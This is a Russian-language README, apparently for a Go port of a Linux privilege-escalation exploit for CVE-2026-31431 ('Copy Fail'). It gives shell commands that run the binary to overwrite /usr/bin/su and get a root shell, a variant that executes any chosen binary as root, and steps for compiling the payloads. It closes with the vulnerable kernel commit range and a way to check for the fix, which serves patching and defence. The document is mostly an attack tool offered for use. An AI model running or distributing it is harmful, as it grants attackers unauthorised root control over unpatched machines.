
A Go-реализация copyfail (CVE-2026-31431)
Большинство LPE-уязвимостей в Linux требуют гонки (race window) или специфичного для ядра смещения. Copy Fail — это прямолинейный логический изъян: ему не нужно ни то, ни другое. Один и тот же
732-байтный Python-скриптстатический Go-бинарник даёт root на всех дистрибутивах Linux, выпущенных с 2017 года.
Go-реализация CVE-2026-31431. На случай, если вам нужен статический бинарник без зависимости от Python.
Подробнее см. copy.fail.
# Получите бинарник на ваш Linux-хост с возможностью выполнения кода (упражнение для читателя)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Восстановите исходный бинарник su
root@host# touch -r /tmp/su /usr/bin/su # Восстановите время модификации исходного su
root@host# rm /tmp/su
root@host# # Делайте что угодно от root =)
Полезно для повышения привилегий программы до root
# Получите бинарник на ваш Linux-хост с возможностью выполнения кода (упражнение для читателя)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Используйте то, что вы запустили, чтобы восстановить su из /tmp/su
Скомпилируйте пейлоады самостоятельно с помощью payloads/build-n-print.sh на хосте с Debian (проверено на Debian 13).
Вам понадобится выполнить apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf, а затем запустить скрипт из каталога payloads. Он скомпилирует каждый пейлоад и выведет hex-строки, сжатые zlib. Сравните их с тем, что находится в main.go (или замените их своими), и соберите бинарники copyfile-go с помощью goreleaser build --snapshot --clean из главного каталога проекта.
floor: torvalds/linux 72548b093ee3 август 2017, v4.14
(переработка iov_iter в AF_ALG,
которая ввела примитив записи
файловых страниц через splice
в AEAD scatterlist)
ceiling: torvalds/linux a664bf3d603d апрель 2026, mainline
(откат оптимизации algif_aead
in-place от 2017 года; разделяет
исходный и целевой scatterlist,
поэтому страницы page-cache больше
не могут быть доступным для записи
криптографическим назначением)
Между ними: все основные дистрибутивные ядра, которые не перенесли исправление.
Ubuntu, RHEL, SUSE, Amazon Linux и Debian — все были подтверждены уязвимыми
в своих стандартных облачных образах ядер на момент раскрытия. Переносы
исправлений на уровне дистрибутивов начали выходить примерно 2026-04-29
одновременно с публичным раскрытием. Чтобы проверить, попадает ли целевое
ядро в окно уязвимости, проверьте, присутствует ли a664bf3d603d (или его
специфичный для дистрибутива бэкпорт) в git-логе ядра или в журнале изменений
дистрибутива.